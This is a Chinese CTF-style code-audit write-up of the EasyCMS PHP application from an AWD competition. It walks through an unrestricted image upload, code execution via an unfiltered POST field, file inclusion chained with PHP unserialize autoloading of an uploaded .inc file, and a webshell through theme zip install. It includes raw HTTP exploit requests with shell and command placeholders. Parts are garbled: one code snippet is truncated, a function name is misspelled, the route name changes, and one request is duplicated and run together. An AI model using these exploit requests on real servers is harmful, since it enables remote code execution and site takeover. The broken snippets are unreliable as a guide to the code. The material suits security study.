代码审计-EasyCMS
阅读原文时间:2023年07月09日阅读:2

cms来源AWD线下攻防平台题目。

_链接:https://pan.baidu.com/s/1eUkyRspQmsv-0fIBby8ZlQ_

提取码:tywa

失效可以联系我

0x01 文件上传漏洞

访问admin.php?action=images 可以上传图像,而这里过滤不严造成文件上传漏洞:

admin.php:

case 'images':
$titelkop = $lang['images']['title'];
include_once ('data/inc/header.php');
include_once ('data/inc/images.php');
break;

data/inc/images.php:

0) show\_error($lang\['general'\]\['upload\_failed'\], 1); else { move\_uploaded\_file($\_FILES\['imagefile'\]\['tmp\_name'\], 'images/'.$\_FILES\['imagefile'\]\['name'\]); chmod('images/'.$\_FILES\['imagefile'\]\['name'\], 0666); ?>

0x02 RCE代码执行漏洞

访问admin.php?action=editpage可修改页面信息

admin.php:

//Page:Editpage
case 'editpage':
if (isset($_GET['page']))
$titelkop = $lang['page']['edit'];
else
$titelkop = $lang['page']['new'];
include_once ('data/inc/header.php');
include_once ('data/inc/editpage.php');
break;

data/inc/editpage.php:

if (isset($_GET['page'])) {
$seoname = save_page($title, htmlspeicalchars($_POST['content']), $_POST['hidden'], $_POST['sub_page'], $_POST['description'], $_POST['keywords'], $module_additional_data, $_GET['page']);
} else {

这里是htmlspeicalchars()对写入文件内容的限制,post提交的hidden参数没有过滤。

0x03 inc文件包含漏洞

访问/index.php?action=save时可以上传文件,但是有后缀限制:

if (isset($_GET['file']))
{
$file = $_GET['file'];
include('data/inc/front/'.$_GET['file'].'.php');
}
else
{
include('data/inc/front/index.php');
}

POST /index.php?file=save HTTP/1.1
Host: 192.168.1.130
Proxy-Connection: keep-alive
Content-Length: 299
Cache-Control: max-age=0
Origin: null
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryB5a7zPuVlnrKI26N
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng
,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
------WebKitFormBoundaryB5a7zPuVlnrKI26N
Content-Disposition: form-data; name="para32"; filename="e.inc"
Content-Type: text/plain
{{shell}}
------WebKitFormBoundaryB5a7zPuVlnrKI26N
Content-Disposition: form-data; name="submit"
Submit
------WebKitFormBoundaryB5a7zPuVlnrKI26N--

这里保存的文件名为e.inc

这里要用到反序列化

POST /files/upload.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Cookie: filenames=O:1:"e":0:{}
User-Agent: python-requests/2.18.4
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Host: 192.168.1.138:23333
para32=sdOAQuVf.exe&submit=Upload&{{hash}}={{cmd}}POST /files/upload.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Cookie: filenames=O:1:"e":0:{}
User-Agent: python-requests/2.18.4
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Host: 192.168.1.138:23333

para32=sdOAQuVf.exe&submit=Upload&{{hash}}={{cmd}}

这里尝试加载e类没有,所以这里的spl_autoload_register函数spl_autoload_register函数自动加载inc文件

造成代码执行

0x04 模块安装漏洞

admin.php?action=themeinstall 上传压缩文件后可得webshell

//themeinstall.php
//Load the zipfile.
$zip=new UnZIP($dir.'/'.$filename);
//And extract it.
$zip->extract();
//After extraction: delete the zip-
file.
unlink($dir.'/'.$filename);